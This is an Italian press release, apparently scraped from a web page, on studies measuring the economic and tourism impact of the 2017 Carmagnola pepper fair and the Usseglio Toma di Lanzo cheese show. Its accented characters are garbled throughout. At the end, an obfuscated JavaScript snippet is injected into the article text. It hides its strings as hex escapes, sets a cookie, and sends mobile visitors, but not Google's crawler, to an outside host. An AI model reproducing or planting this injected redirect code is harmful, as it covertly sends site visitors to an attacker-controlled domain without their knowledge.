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L’impatto economico , sociologico e turistico della Fiera del Peperone di Carmagnola e della Mostra della Toma di Lanzo

GiovedA� 7 dicembre 2017 presso la Sala Stampa della Regione Piemonte a Torino, si A? svolta la conferenza stampa di presentazione dei risultati di due qualificate ricerche universitarie sugli effetti economici, sociologici e turistici delle manifestazioni a�?68a Fiera Nazionale del Peperone di Carmagnolaa�? e a�?21a Mostra Regionale della Toma di Lanzo e dei Formaggi da��Alpeggioa�? di Usseglio, due eccellenze della provincia di Torino e del panorama nazionale delle manifestazioni gastronomiche e culturali che confermano il loro successo anche attraverso questi dati.

La ricerca A? stata condotta da un team di ricercatori coordinati e guidati dal dott. Giuseppe Attanasi, docente della��UniversitA� Bocconi di Milano e della��UniversitA� di Lille 1, e composto dalla dott.ssa Simona Cicognani a�� ricercatrice della��UniversitA� di Verona, dal dott. Paolo Galloso a�� responsabile Ufficio Studi Anima di ConfindustriaA� Milano e dalla dott.ssa Sara Poli a�� Laurea Magistrale alla��UniversitA� di Torino, con la partecipazione del Laboratoire da��Economie Experimentale de Strasbourg (LEES) a�� UniversitA� de Strasbourg (Francia) e del Laboratori da��Economia Experimental (LEE) a�� Universitat Jaume I CastellA?n (Spagna).
Lo scopo di queste ricerche A? stato quello di misurare gli effetti economico-sociologici delle due manifestazioni sul turismo culturale nelle loro cittA� e nella Provincia di Torino, con valutazioni che non vogliono essere semplicemente informativi sulle rilevazioni statistiche dei dati di affluenza, quanto piuttosto un tentativo di monitorare, attraverso la raccolta continuativa dei dati nel tempo, la��impatto economico ed il capitale sociale generato sulla��economia locale.
Per ciA? che riguarda la metodologia, le stime sono state realizzate a partire da un questionario cartaceo sottoposto ai visitatori nel corso delle due manifestazioni da parte di diversi intervistatori, studenti di istituti superiori del territorio appositamente formati per questo genere di rilevazioni.

I DATI DELLA a�?68a FIERA NAZIONALE DEL PEPERONEa�? DI CARMAGNOLAa�?
La ricerca mostra il livello e la natura della��effetto positivo della manifestazione sul territorio di Carmagnola, in termini sia di qualitA� percepita dai partecipanti sia di impatto economico generato dalle spese dei turisti.
A? stato quindi stimato la��impatto economico totale nel breve periodo determinato dalla��aumento transitorio della domanda nei settori di attivitA� maggiormente legati alla manifestazione: alloggi, ristoranti, caffA? e bar, visite culturali e trasporti.
La stima della��IMPATTO ECONOMICO TOTALE MINIMO A? PARI A 10.491.376 a�� -A� 2 volte la��impatto rilevato nel 2016, 4 volte quello rilevato nel 2015 e 5 volte quello rilevato nel 2014 a�� e rappresenta il valore minimo della ricchezza economica prodotta dalla Fiera sul suo territorio nella��edizione 2017.
La causa di tale straordinario aumento della��impatto economico della��evento A? stato identificato nella maggiore presenza, da 1% nel 2016 a 15% nel 2017, di turisti italiani e stranieri che si sono recati a Carmagnola nei giorni della��evento per partecipare allo stesso, e che non vi si sarebbero recati se esso non fosse stato organizzato.
Il risultato della��elaborazione costituisce la��IMPATTO ECONOMICO MINIMALE soprattutto per il fatto che il campione A? statoA� ristretto considerando solo i a�?visitatori non originari che risiedono al di fuori della provincia di Torino e che si sono recati a Carmagnola motivati dalla Fieraa�?, escludendo quindi coloro che sarebbero venuti a Carmagnola anche se non ci fosse stata la Fiera, coloro che sono venuti a Carmagnola per far visita a parenti e amici e coloro che sono venuti per lavorare alla Fiera.A� Inoltre, la��aggettivo a�?minimoa�? indica che si tratta di una soglia inferiore anche perchA� potrebbero esserci altre componenti di lungo periodo (ritorno dei turisti nella zona, passaparola per la partecipazione ad altri eventi, ecca��) che questo studio non misura compiutamente.
Per completare la��analisi della��impatto economico dal punto di vista sociologico, A? stato introdotto il concetto di CAPITALE SOCIALE ISTANTANEO, che mostra come le persone, dal semplice atto di condividere una singola esperienza comune (nel nostro caso, la Fiera del Peperone), sviluppino una fiducia maggiore nelle persone che incrociano durante la��evento, e che tale fiducia genera una maggiore spesa individuale nei prodotti della manifestazione e nei servizi del territorio che la ospita. Si A? registrato un aumento del capitale sociale istantaneo del 9% rispetto al 2016, associabile sia alla��esperienza di partecipazione alla Fiera che alla generazione di fiducia nei confronti del territorio che la ospita.
Per ciA? che riguarda il CAMPIONE, sono stati raccolti in totale 487 questionari con una probabilitA� da��errore di campionamento del 4,5%A� (ottenuta dal test di Marbach e considerando la stima di 250000 visitatori in totale), valore di gran lunga inferiore alla probabilitA� limite del 10% accettata in letteratura.
Dei 487 intervistati, il 58% sono donne e il 42% uomini, il 36% ha meno di 30 anni ed il 38% ha piA? di 40 anni e si puA? quindi sostenere che la��evento attrae un poa�� tutte le fasce di etA�. La provenienza degli spettatori A? alquanto eterogenea e mostra una forte attrazione di turisti non-piemontesi, metA� dei quali provenienti dalla��estero,con il 31% residenti a Carmagnola ed il restante 69% composto come segue: il 7% risiede a Torino, il 17% in provincia di Torino, il 29% in Piemonte ma al di fuori della provincia di Torino (+9% rispetto al 2016, +20% rispetto al 2015, +19% rispetto al 2014), il restante 16% A? composto da soggetti non residenti in Piemonte, dei quali la��8% risiede in altre regioni da��Italia e la��8% alla��estero.
Per quanto riguarda la��origine degli intervistati si puA? dire che il turismo generato dalla Fiera non A? un turismo cosiddetto a�?di rientroa�?, visto che la maggior parte dei visitatori non residenti a Carmagnola sono turisti non originari.
Riguardo alla durata della permanenza, il 94% dei turisti stranieri si A? recato alla Fiera per restarci e viverla,A� pernottando a Carmagnola, cosA� come hanno fatto anche molti turisti italiani non piemontesi (il 72%), magari approfittando della Fiera per visitare altri luoghi vicini a Carmagnola.
Per quanto riguarda la��alloggio utilizzato da chi resta almeno una notte, solo il 49% si A? rivolto alla��offerta tradizionale – alberghi, agriturismi e B&B (a��15% rispetto al 2016, +37% rispetto al 2015), mentre il 42% A? stato ospite di parenti e amici (+12% rispetto al 2016, +25% rispetto al 2015). La��offerta tradizionale di alloggio quindi regge e mostra un trend in crescita il legame col territorio in termini di ospitalitA� da parenti e amici.
Il 28% dei turisti piemontesi (ma residenti fuori dalla Provincia di Torino), il 49% dei turisti italiani (ma non piemontesi) ed il 31% dei turisti stranieri (a��43% rispetto al 2016) hanno visitato questa��anno la Fiera per la prima volta, segno che la��evento svolge sempre un importante ruolo di attrazione di nuovi utenti nel territorio che lo ospita.
Per ciA? che riguarda la PERCEZIONE GENERALE DELLA FIERA, la motivazione alla partecipazione allo stesso A? stata alquanto eterogenea, segno di un evento maturo, che non si basa solo sulla��elemento a�?tradizionea�? o sulla gastronomia. Il 13% del campione ha dichiarato di partecipare perchA� a�?la��evento rappresenta una tradizionea�? (a��6% rispetto al 2016), il 30% per a�?la��offerta gastronomicaa�? (+15% rispetto al 2016), il restante 57% si A? diviso tra a�?per stare in mezzo a molta gente e divertirsia�? (14%), a�?per curiositA�a�? (29%), a�?per casoa�? (3%), a�?per gli ospiti delle seratea�? (5%), e per altre ragioni (6%).
Veniamo ora al GIUDIZIO DEGLI UTENTI SULLA FIERA. La stragrande maggioranza degli utenti pensa che si tratti di un evento culturale (81%, +19% rispetto al 2016) e di una manifestazione tradizionale (90%, +4% rispetto al 2016). Il 71% (+8% rispetto al 2016, in linea con il 2015) pensa che la qualitA� artistica della Fiera intesa come a�?spettacoloa�? sia elevata. Allo stesso tempo, il 94% (+11% rispetto al 2016, +15% rispetto al 2015, +40% rispetto al 2014) ritiene che si tratti di un raduno di massa, segno di come di anno in anno la maggiore affluenza di pubblico alla��evento stia spostando la percezione dello stesso verso la��idea di una forma di ritrovo per un enorme numero di persone. Solitamente, nel momento in cui si perde il carattere a�?familiarea�? di un evento, avviene parallelamente un peggioramento nella percezione dello stesso. Non sembra essere il caso della Fiera del Peperone, visto che il 63% degli intervistati dA� alla��espressione a�?raduno di massaa�?una��accezione positiva.
Un dato molto significativo A? che la��87% degli intervistati (la��89% nel 2016) parteciperebbe comunque alla Fiera anche se non fossero presenti ospiti di livello nazionale e internazionale, mentre solo il 62% (il 54% nel 2016) parteciperebbe ugualmente se non fossero presenti le piazze enogastronomiche. La��importanza di queste ultime nel motivare alla partecipazione alla��evento A? confermata durante questa edizione, se rapportata ai dati delle edizioni precedenti.
Per ciA? che riguarda la PERCEZIONE DI ELEMENTI SPECIFICI DELLA FIERA, Come per le tre edizioni precedenti, le aree di maggiore interesse sono quelle enogastronomiche (47%) e la Piazza dei Sapori (40%) con una��offerta gastronomica ritenuta soddisfacente dal 91% degli intervistati (a��1% rispetto al 2016), soprattutto a causa della sua varietA� (48%) e qualitA� (40%), meno invece per il prezzo (4%) e la novitA� (8%) dei prodotti.
Per quanto riguarda invece la��offerta artistica le risposte degli intervistati indicano chiaramente che continuare ad offrire spettacoli artistici di genere diverso A? la scelta migliore, vista la��eterogeneitA� delle preferenze della��audience della Fiera, trovando in cima alle preferenze, per la prima volta, la Musica Tradizionale Piemontese (29%), e poi la Musica da ballo (27%), i comici (20%), la musica giovanile (16%), la musica tradizionale di altre regioni ed altri paesi (6%) ed il teatro (2%).
Veniamo ora alla spesa percepita e a quella ritenuta congrua per la��organizzazione degli spettacoli artistici, i dati evidenziano, ancora piA? che nelle edizioni passate, una richiesta di maggiore investimento finanziario nei pur apprezzati spettacoli artistici con solo il 48% degli intervistati (a��30% rispetto al 2016) che crede che spendere meno di 30000 euro sia congruo.

I DATI DELLA a�?21A� MOSTRA REGIONALE DELLA TOMA DI LANZO E DEI FORMAGGI Da��ALPEGGIOa�? DI USSEGLIO
La ricerca si A? compiuta per la seconda volta su questa manifestazione.
Con la stessa metodologia e gli stessi concetti utilizzati per la ricerca sulla Sagra del Peperone di Carmagnola, l’impatto economico totale della Mostra di Usseglio A? di 156.006,00 a�� (+62% rispetto alla��edizione 2016).
Per ciA? che riguarda il capitale sociale istantaneo, si A? osservato che il 31% dei visitatori accorda la propria fiducia “istantanea” al fatto che la Mostra Regionale della Toma di Lanzo valorizza la tradizione piemontese e in particolare promuove i prodotti di montagna.
Sono stati raccolti in totale 250 questionari su un numero totale di visitatori di circa 27.000. Il campione valutato A? composto per il 45% da donne, il 55% da uomini, il 22% con meno di 30 anni di etA� e il 66% ha piA? di 40 anni.
Per quanto riguarda la��alloggio utilizzato da chi resta a Usseglio almeno una notte, il 76% ricorre alla��offerta tradizionale, cioA? ad alberghi, agriturismi e B&B (+51% rispetto al 2016), mentre solo il 7% A? ospite di parenti e amici. Questo A? un dato molto positivo per il settore turistico locale, in particolare per le strutture ricettive alberghiere.
La Mostra Regionale della Toma di Lanzo A? una manifestazione in espansione. Infatti, piA? del 23% dei visitatori (piA? del 40% nel 2016) sono A�nuoviA� visitatori.A� Dei visitatori intervistati, il 33% (29% nel 2016) dichiara di partecipare alla Mostra perchA� a�?questa rappresenta una tradizionea�?, a�?per curiositA�a�? il 20%. Il restante 47% si divide tra a�?per la��offerta gastronomicaa�? (16%; 18% nel 2016), a�?per stare in mezzo a molta gente e divertirsia�? (10%), a�?per casoa�? (3%), e a�?per gli ospiti delle seratea�? (1%). Ben il 17% dichiara di essere a Usseglio per altri motivi, soprattutto lavorativi, presumibilmente legati alla Mostra.
La stragrande maggioranza degli utenti pensa che si tratti di un evento culturale (74%; 77% nel 2016) e di una manifestazione folcloristica/tradizionale (89%; 91% nel 2016). Il 75% (stesso dato nel 2016) pensa che la qualitA�A� artistica della Mostra intesa come a�?spettacoloa�? sia elevata.
Un dato molto significativo A? che la totalitA� degli intervistati (98%; +20% rispetto al 2016) parteciperebbe comunque alla Mostra anche se non fossero presenti ospiti di livello nazionale e internazionale.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}